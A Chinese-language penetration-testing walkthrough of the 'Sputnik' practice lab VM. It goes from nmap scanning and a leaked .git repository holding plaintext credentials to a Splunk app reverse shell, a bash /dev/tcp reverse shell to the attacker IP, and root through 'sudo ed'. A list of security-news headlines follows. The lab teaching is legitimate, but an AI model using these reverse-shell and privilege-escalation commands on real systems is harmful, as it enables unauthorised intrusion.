红队渗透测试之Sputnik
本项目是 Sputnik 作者精心制作的项目环境,目标是获取获得root权限并找到flag.txt文本信息,该项目作为OSCP考试培训必打的一个项目环境,该作者评定该环境为渗透中级水准难度。不管是零基础的学习者,还是从事安全行业的人员,都可以通过这个项目学习到一些技巧或知识。
注意:
本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。
渗透测试的本质就是信息收集
1. nmap扫描项目ip
本项目环境是nat模式搭建,需要项目的IP地址,首先根据本地IP地址信息,或者虚拟网卡信息,进行扫描挖掘项目IP地址,对本机IP地址进行全网段扫描
nmap 192.168.27.0/24 -sP
2. nmap全端口扫描
进行namp全端口服务枚举:
nmap -p- 192.168.27.130 -A
8089/tcp open ssl/http Splunkd httpd | http-robots.txt: 1 disallowed entry |_/ |_http-server-header: Splunkd |_http-title: splunkd | ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser | Not valid before: 2019-03-29T11:03:21 |_Not valid after: 2022-03-28T11:03:21 55555/tcp open http Apache httpd 2.4.29 ((Ubuntu)) | http-git: | 192.168.27.130:55555/.git/ | Git repository found! |_ Repository description: Unnamed repository; edit this file 'description' to name the... |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Flappy Bird Game 61337/tcp open http Splunkd httpd | http-robots.txt: 1 disallowed entry |_/ |_http-server-header: Splunkd
打开了端口 8089、55555 和 61337,端口 55555 具有关联的 IP 地址和 git 存储库的目录链接!
分别访问三个端口。
发现在端口8089处有个账号密码登录点,
目前的信息就到此为止了,我们去看看其他的。
3. git库拖库
上面nmap扫描出55555端口有.git文件泄露,
当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。
在logs目录下的HEAD文件中
0000000000000000000000000000000000000000 21b4eb398bdae0799afbbb528468b5c6f580b975 root <root@sputnik.(none)> 1553864873 +0000 clone: from http://github.com/ameerpornillos/flappy.git
访问该github链接,
Git clone用于克隆文件并将其下载到系统以供进一步查看源码分析:
git clone http://github.com/ameerpornillos/flappy
cd flappy
ls -la
查看详细信息,
git log
--克隆了它并浏览历史情况
git log -p
---查看每一个源码的详细信息
摁空格向下翻,翻到(END)结束、
发现一个地方
+sputnik:ameer_says_thank_you_and_good_job
发现一个账号密码。
4. Splunkd httpd反弹shell
Splunk:
Splunk 是机器数据的引擎。使用 Splunk 可收集、索引和利用所有应用程序、服务器和设备生成的快速移动型计算机数据 。 使用 Splunking 处理计算机数据,可让您在几分钟内解决问题和调查安全事件。监视您的端对端基础结构,避免服务性能降低或中断。以较低成本满足合规性要求。关联并分析跨越多个系统的复杂事件。获取新层次的运营可见性以及 IT 和业务智能。
访问:
提示:
Splunk管理员为您提供的用户名和密码!
将上面收集到的账号密码尝试输入
sputnik
ameer_says_thank_you_and_good_job
谷歌搜索:
splunk reverse shell
http://github.com/TBGSecurity/splunk_shells
找到了一种使用反向和绑定 shell 来武器化 Splunk 的方法!
通过上次一个xxx.tar.gz文件到机器学习的后台管理去部署,生成一个会话模块引擎,通过会话框去执行命令
将github上的工具下载下来
git clone http://github.com/TBGSecurity/splunk_shells/archive/1.2.tar.gz
部署的话,首先下拉栏里面选择第一个,找到Apps
选择这里的install
将刚才的文件进行上传
上传成功
点击Restart Now进行重启
重启之后需要重新登录一次
可以看到部署成功
点击permissions
选择all apps,并保存
然后依旧是点击app下拉栏,选择search
此时可以在框中执行命令并反弹shell
本地开启:
nc -vlp 8888
| revshell std 192.168.27.195 8888
看到当前用户id为1001,并且有安装python,所以我们这里获取一下稳定shell
python -c 'import pty;pty.spawn("/bin/bash")'
发现执行之后shell断掉了
此时可以在反弹shell之后再弹一次shell
nc -vlp 9999
bash -c "bash -i >& /dev/tcp/192.168.27.195/9999 0>&1"
5. 信息收集
开始内网信息枚举!
这里使用一个枚举脚本进行信息收集
开启http服务,上传枚举脚本到tmp目录下
python -m SimpleHTTPServer 8081
wget http://192.168.27.195:8081/linpeas.sh
赋予脚本权限
chmod +x linpeas.sh
然后执行脚本
看到有三个用户,除了root和上面发现的还有一个普通用户,具有sudo权限
输入
sudo -l
尝试上面的密码,成功
6. 提权
提权,顾名思义就是提高自己在服务器中的权限,就比如在windows中你本身登录的用户是guest,然后通过提权后就变成超级管理员,拥有了管理Windows的所有权限。 提权是黑客的专业名词,一般用于网站入侵和系统入侵中。
ed提权
访问网站
查看linux二进制文件怎么提权
点击sudo
sudo ed
!/bin/sh
提权成功,
这里项目结束。
通过以上的学习,我们认知了一些红队的小技巧的技术手段,完成了从信息收集到内核提权项目落地,学习到了非常多的技巧,例如nmap全端口信息枚举、.git文件泄露拖库、Splunkd httpd反弹shell、php反弹shell、一句话get请求、内网信息枚举、sudo提权、等等,希望伙伴们能实际操作复现一遍!来巩固自身的渗透技术和技巧!
最后,希望大家提高安全意识,没有网络安全就没有国家安全!
- 鼠标悬停也能中招!带毒PPT正用来传播Graphite恶意软件
- 澳大利亚史上最大数据泄露事件,40%的居民信息被泄露
- “匿名者”组织声称黑进了俄罗斯国防部网站
- 为防钓鱼,Win11新版本在记事本、网站中输入密码时会发出警告
- Tomcat架构之为Bypass内存马检测铺路(内存马系列篇四)
- “羊了个羊”遭黑客攻击,还存在安全隐患?
- 研究人员披露了 Oracle 云基础设施中的严重漏洞,现已修复
- Python 15年未修的漏洞可能影响 35万余个项目,速查
- JAVA代码审计之java反序列化
- 开源代码库攻击在三年间暴涨7倍
- 五分之二美国消费者数据被盗,企业也难逃攻击者“毒手”
- 入门学习之社会工程学
- 深陷安全事件泥潭,优步数据泄露何时休?
- 信阳师范学院曝“学信网信息泄露”,学院:已报警,涉事学生干部被撤职
- 无间道! "沙虫 "组织冒充乌克兰电信公司投放恶意软件
- 绕过检测之Executor内存马浅析(内存马系列篇五)
- 攻击者正冒充美国政府机构骗取承包商Office账户
- “泄露”的咖啡!黑客出售近22万名新加坡星巴克顾客数据
- 手搓Filter内存马从构造到利用讲解(内存马系列篇一)
- 深入底层源码的Listener内存马(内存马系列篇三)